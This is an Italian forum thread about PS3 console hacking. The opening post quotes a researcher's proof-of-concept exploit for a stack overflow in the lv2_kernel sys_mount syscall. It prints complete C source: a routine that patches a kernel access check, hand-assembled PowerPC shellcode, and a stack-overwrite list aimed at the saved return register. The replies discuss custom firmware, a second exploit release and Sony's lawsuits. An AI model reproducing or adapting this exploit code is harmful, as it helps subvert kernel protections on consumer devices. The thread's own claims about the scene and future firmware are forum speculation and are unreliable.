[NEWS]Rilasciato un metodo per exploitare il lv2_kernel ?

[Razorbacktrack]

Sperando che porti a grandi novità, lo sviluppatore Naehrwert (famoso per il suo SCETool e Libeid) ci informa riguardo ad un exploit nel lv2_kernel di tutti i firmware (proprio tutti,pure l'ultimo).

Ecco cosa ha scritto :

A long while ago KaKaRoTo pointed me to a stack overflow he found while reversing lv2_kernel. But there are two problems:

The vulnerability is in a protected syscall (the SELF calling it got to have the 0×40… control flags set). So you’d first need to find a suitable usermode exploit (don’t ask us), that gives you code execution with the right privileges.
The payload data is copied to lv2 heap first and the function will do a free call on it before the payload has any chance to get executed. This might not sound like a problem but it looks like lv2′s heap implementation will overwrite the free’ed space with 0xABADCAFE and thus destroy the payload.

Here is my sample implementation for 3.41 lv2_kernel (although the vulnerability should be present in all versions of lv2 up to the latest firmware), maybe someone of you will find a way to overcome problem (2.) and can get something nice out of it because right now it’s only good to crash lv2.

Ed ecco l'esempio di cui parla :

/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/

#include <stdio.h>
#include <ppu-types.h>
#include <ppu-lv2.h>

/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
return_to_user_prog(s64);
}

//For testing.
static void patch_access_check()
{
//check_access @ 0x80000000000505D0
//li r3, 1 ; blr
lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
printf("[*] DEBUG: access check patched.\n");
}

int main(int argc, const char **argv)
{
//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
//Solution: Find a usermode exploit in a SELF that has them set.

//Patch the ctrl flags check for testing.
patch_access_check();

//Nop.
char nop[] = "X";

//Payload.
char payload[] =
{
//Insert valid PPC code here (without 0x00 bytes)
//and hope lv2 heap 0x27 is executable and 0x04 aligned.
0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110
0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16
0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32
0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134
0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)
0x38, 0x60, 0x02, 0x10, //li r3, 0x210
0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)
0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0
0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0
0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0
0x4E, 0x80, 0x04, 0x20, //bctr
//End of payload.
0x00
};

//List containing the entries.
//stack frame size is 0x1C0
//strlist = framptr + 0xE0
//remaining stack frame size is 0xE0 (28 * 8)
#define LIST_LENGTH (28 + 2 + 1)
const char *list[LIST_LENGTH] =
{
//-0xE0
//Overwrite stack with nop entries (0xE0 bytes).
nop, nop, nop, nop, nop, nop, nop, nop, //0x40
nop, nop, nop, nop, nop, nop, nop, nop, //0x80
nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
nop, nop, nop, nop,
//0x00
//Fill 0x10 bytes to reach saved r0.
nop, nop,
//+0x10
//Overwrite saved r0 with a pointer to our payload.
payload
};

//Doit!
printf("[*] Taking the plunge...\n");
s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);

return 0;
}

Che dire,non ci resta che aspettare ! Intanto ringrazio l'utente zeruel85 per la segnalazione

fonte: Exploiting (?) lv2 « nbors

AGGIORNAMENTO: Rilasciato nuovo exploit da KDSBest, funzionante (finora) fino al firware 4.20

fonte : [NEWS]Rilasciato un metodo per exploitare il lv2_kernel ?

Ringrazio xboxbs per la segnalazione

[DevilIce]

praticamente con un exploit del genere si può arrivare ad un CFW decente?

[Mauroz]

praticamente con un exploit del genere si può arrivare ad un CFW decente?

A quanto ho capito pare di si, anche se si ha l' ultimo firmware, correggetemi se sbaglio

[Razorbacktrack]

Si spera sempre in questo, ma sinceramente non sono uno sviluppatore quindi non posso risponderti di preciso,mi dispiace

[Ekros]

Incrociamo le dita. Speriamo che questa sia la volta buona.

[p01s0nhack]

sarebbe grandioso se si potesse trovare anche su ps3 una falla tipo rgh...
ad oggi gli sforzi compiuti sono stati davvero notevoli...speriamo in migliori sviluppi futuri

[DevilIce]

la verità è che non ci sono maniaci come nel campo xbox, riunisci 4 team di grandi nomi e vedi come te la bucano in 1 mese

[Razorbacktrack]

Il problema è che la console è bucata, ma i metodi e tutto il resto non sono rilasciati al pubblico

[userx87]

forse la gente non ha tutto questo interesse per concentrarsi sulla ps3 oppure è davvero protetta da non permettere di trovare una falla a livello hardware definitiva, tipo nella x360 il chip hana. Comunque si vedrà che succederà

[Razorbacktrack]

Emh...vedi che il RGH si può fare pure su Corona (che non hanno il chip hana)

[DevilIce]

vabbè ma parlava in generale

[xboxbs]

altro exploit da perfezionare e funzionante fino al firmware 4.20

Since @naehrwert posted an lv2 exploit I will do so too . The stack pointer points to lv2 and if we do a syscall, the syscall saves register to the stack HAHA. Btw. It just crashes the console for now, since I totaly overwrite dump the lv2 or some memory addresses I don't know. Feel free to try around, adjust the address of the stackpointer and so on. If you managed to get the panic payload executed. Tell me!!! ^^

KDSBest releases his lv2_exploit for v4.20

[Razorbacktrack]

Grazie ,aggiornato il primo post

[cartman]

che nella ps3 non ci siano gli stessi appassionati di hacking come nell'xbox questo è chiaro,e parlo di ora,basta guardare la sezione hack dell'una e dell'altra console e vedere che la scena ps3 è morta...
nell'ambito xbox un niubbo possessore di questa console (come me) non sa neanche dove cominciare,tanto è vasta e varia la scena qui.
ma che gli hacker non si siano mai dedicati alla ps3 non ci credo,ha sicuramente un livello di protezione avanzatissimo che dopo un po li ha scoraggiati,e ora sono passati sei anni dalla sua uscita.
se la sony volesse introdurre un sistema di protezione un tantino più avanzato di questo nella futura console,potremo dimenticarci cosa vuol dire modificare
spero di sbagliarmi in futuro

[micoud]

la sony a differenza della ms li va a prendere in casa...credo che il problema piu grande sia questo


Sent from my iPhone using Tapatalk

[Razorbacktrack]

Come ha detto un utente in un altro forum,se la scena fosse morta allora non esisterebbe questa news. Questa news esiste perchè qualcuno ci ha lavorato

[xboxbs]

credo sia in arrivo un cfw 4.21 (da parte di evilsperm team rebug)...

http://imageshack.us/a/img51/8769/77124540.jpg

ed è pure uscito l'eboot di fifa 13 da parte dei duplex!

[Razorbacktrack]

Vedi che il video di DOA 5 era un fake ,infatti non era un CFW 4.21 ma era un CFW normare con eboot patchato

[Allaconsole]

Come non essere d'accordo con Micoud e Razorbacktrack, vedete che fine hanno fatto i Fail0verflow, Graf Chokolo e lo stesso Geohot...
Anch'io non sono un coder ma osservo la scena ps3 dagli albori.
Anche la ps3 è sensibile ad attacchi di tipo glitch, proprio lo stesso Geohot ne aveva approfittato per glitchare la ram ed entrarci dentro con accesso in lettura e scrittura da OtherOS, riuscendo anche a tirare fuori la chiave del mtldr (che vi ricordo non è aggiornabile su alcuna revisione di motherboard finora in commercio) della propria console ed abbozzare un primo cfw ... ma non ha mai rilasciato pubblicamente il metodo per farlo (si dice forse anche perchè non fosse completamente una sua scoperta...) !
Il progetto dual-nand che fine ha fatto?
Finito nelle mani del team True Blue solo per fare profitti pagando il silenzio degli autori?
O accantonato per paura di altre cause dalla casa madre (coder tipo Mathieulh ai "tempi d'oro", l'aveva trovato utile per dumpare metldr e tutto ciò che viene caricato dopo...) ?
Alla fine la colpa del mancato sviluppo della scena ps3 è solo della $ony, com'è noto la M$ non ha mai perseguito nessuno nè per il jtag hack (per il quale ci fu anche un corretto scambio di email tra gli ideatori dell'hack la M$ stessa) e nè ora per l'RGH, ma ha preferito accettare la sfida o forse con un pizzico di furbizia rendere lasciare una porticina aperta per chi volesse divertirsi con le customizzazioni...
In ogni caso, credo si tratti di una buona notizia perchè di solito Naehrwert non apre bocca se :
- non sa bene cosa sta per dire
- non conosce le conseguenze di quello che dice
- come molti altri della scena, non ha già in mano altre carte da giocare
Come lui stesso ha precisato al momento questo fa "solo" crashare il kernel del lv2, e per farlo non basta il suo exploit da solo ma c'è bisogno di uno usermode per poterlo lanciare...
Non voglio spezzare le gambe a nessuno, e spero che con questi nuovi exploit si arrivi a qualcosa di più concreto, ma purtroppo vi faccio notare come non si è potuto creare un cfw 3.60 nonostante la pubblicazione delle relative chiavi, o meglio di quelle "pubbliche" (che permettono "solo" di decriptare le app corrispondenti, ma non di recriptarle...) che alla fine hanno reso "solo" possibile l'avvio dei titoli che richiedono il 3.60 ...